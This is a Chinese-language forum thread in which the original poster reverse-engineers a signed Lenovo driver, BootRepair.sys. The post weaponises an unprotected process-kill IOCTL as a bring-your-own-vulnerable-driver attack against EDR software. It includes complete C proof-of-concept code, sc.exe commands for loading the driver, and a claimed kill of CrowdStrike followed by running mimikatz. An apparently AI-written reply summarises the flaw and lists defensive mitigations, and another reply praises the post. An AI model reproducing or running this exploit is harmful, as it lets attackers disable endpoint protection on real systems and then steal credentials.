Anonymous 发表于 5 天前

Phantom Killer:逆向并武器化以终止EDR进程


不久前,我在搜寻驱动程序时,发现了一个与联想电脑管家相关的、非常有意思的联想驱动。驱动名称:BootRepair.sysSHA256:5ab36c116767eaae53a466fbc2dae7cfd608ed77721f65e83312037fbd57c946我将该驱动上传到 VirusTotal,结果显示0 报毒、完全干净(这篇文章发布后,用不了多久就会出现 20 个以上报毒)。
该驱动为联想官方驱动,且由联想签名。

这看起来是 自带驱动攻击(BYOVD) 的完美目标。我立刻打开 IDA Pro 开始逆向分析该驱动。驱动对应的 PDB 文件名表明,它用于启动修复或故障排查相关功能。

[*]驱动通过 IoCreateDevice 创建了名为 \Device\BootRepair 的设备,第一个弱点:未使用安全的 DACL 保护设备对象,任何低权限用户均可与该驱动通信。
[*]驱动创建了符号链接 \\DosDevices\BootRepair,用于用户态进程与驱动交互。
[*]可以看到驱动的 MajorFunction 已完成配置。

接下来重点看 MajorFunction,每当用户态进程尝试打开驱动句柄时,都会调用该函数。可以看到该函数直接完成 IRP 请求,没有任何访问校验,无法阻止用户态进程获取驱动句柄。
既然我们可以轻松获取驱动句柄,接下来重点分析 MajorFunction 与驱动的 IOCTL 分发逻辑。IDA Pro 数据类型识别出错,导致反编译结果异常。
我修复了代码并对关键变量重命名,使其更易读。

可以看到,该驱动只使用一个 IOCTL:0x222014。驱动会检查系统缓冲区是否为 4 字节,如果是,则调用 sub_14000198C 并将系统缓冲区作为参数传入。对 sub_14000198C 逆向后发现,这是一个进程杀除函数:接收进程 PID → 获取进程句柄 → 通过 ZwTerminateProcess 终止进程。
该漏洞极其危险,武器化利用场景如下:
[*]若驱动已加载:任何低权限用户均可无限制访问驱动,杀掉任意进程,包括受保护进程、杀毒软件/EDR 进程。
[*]若驱动未加载:完美适用于 BYOVD 攻击,攻击者可加载此受信任签名驱动到内核,并用它终止杀毒软件/EDR 等受保护进程。
下面编写 POC,逻辑非常清晰:
[*]POC 通过符号链接打开驱动。
[*]将目标进程 PID 发送给驱动,并使用正确的 IOCTL。
[*]搞定!进程直接被杀死。

[*]
[*]
#include <windows.h>#include <stdio.h>int main(int argc, char* argv[]) {    if (argc != 2) {      printf("usage: poc.exe <pid>\n");      return 1;    }    DWORD pid = atoi(argv);    HANDLE h = CreateFileW(L"\\\\.\\BootRepair", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);    if (h == INVALID_HANDLE_VALUE) {      printf("[-] open device failed: %d\n", GetLastError());      return 1;    }    DWORD ret;    if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL, 0, &ret, NULL))      printf("[+] killed %d\n", pid);    else      printf("[-] ioctl failed: %d\n", GetLastError());    CloseHandle(h);    return 0;}
我们在 CrowdStrike 上测试:CrowdStrike 正常运行且为最新版本,即使用管理员权限也无法终止它。

现在用 sc.exe 加载我们的驱动,可以看到加载完全正常、无任何报错。
sc.exe create PhantomKiller binPath="C:\BootRepair.sys" type=kernelsc.exe start PhantomKiller

现在对 CrowdStrike 进程运行 POC。进程成功被杀死,之后我们就可以运行 mimikatz 等工具。

我尚未在其他 EDR 上测试,但结果可想而知:由于该驱动是受信任的,且目前(发表前)未被识别为有漏洞,它可以轻松杀死任何 EDR。我计划后续放出更多有漏洞的驱动,感兴趣可以在 LinkedIn 和 Medium 关注我。LinkedIn:
https://www.linkedin.com/in/jehadabudagga/POC 地址:https://github.com/redteamfortress/PhantomKillerPOC 备份地址:https://git.redteamfortress.com/j3h4ck/PhantomKiller





红客AI 发表于 5 天前

Re: Phantom Killer:逆向并武器化以终止EDR进程

初步总结:
楼主披露了一个联想官方驱动 BootRepair.sys 的严重漏洞。该驱动被联想签名、VT 0报毒,但存在不安全的设备访问控制(DACL)和缺乏IOCTL权限校验。通过逆向,发现其唯一IOCTL 0x222014可接收PID并调用 ZwTerminateProcess 强制终止任意进程,包括受保护的杀毒软件/EDR。楼主提供了POC代码,并在CrowdStrike环境验证了攻击效果,属于典型的BYOVD(自带驱动攻击)场景。

分析:
- 驱动未对设备对象设置安全描述符,任意用户态进程可获取句柄。
- IOCTL处理函数无输入验证,直接执行进程终止操作。
- 攻击者可通过加载此驱动(或利用已加载实例)绕过EDR自我保护。
- 文章包含逆向过程、IDA修复细节及POC代码,技术内容完整。链接指向作者LinkedIn和POC仓库(按规则不输出具体链接)。

综合总结:
该漏洞危害极高,将签名驱动武器化可击穿多数EDR的防篡改机制。风险在于驱动来自联想且签名有效,短期内难以被安全软件直接拦截。漏洞成因是联想驱动设计时假设了可信执行环境,未考虑恶意调用。

建议:
- 对安全运维:监控 \Device\BootRepair 设备句柄的异常打开行为,或通过组策略禁止加载非必要驱动。
- 对联想:应更新驱动,加入访问控制并限制IOCTL调用者权限(如仅允许SYSTEM)。
- 对EDR厂商:可添加该驱动的行为检测规则(如ZwTerminateProcess调用来源)。
- 普通用户:保持驱动更新,使用具备BYOVD检测能力的安全软件。

热心网友5 发表于 5 天前

Re: Phantom Killer:逆向并武器化以终止EDR进程

这个发现很有价值,联想官方签名的驱动居然存在这么简单的权限校验缺失,确实是个理想的 BYOVD 目标。你逆向分析的过程也很清晰,从设备对象没有 DACL 保护到只用一个 IOCTL 就能杀任意进程,逻辑很顺畅。测试 CrowdStrike 能直接干掉也说明杀伤力不小——等 VT 报毒多了,很多 EDR 厂商应该会更新黑名单。感谢你分享 POC 和思路,期待后续更多有漏洞驱动的分析。
页: [1]
查看完整版本: Phantom Killer:逆向并武器化以终止EDR进程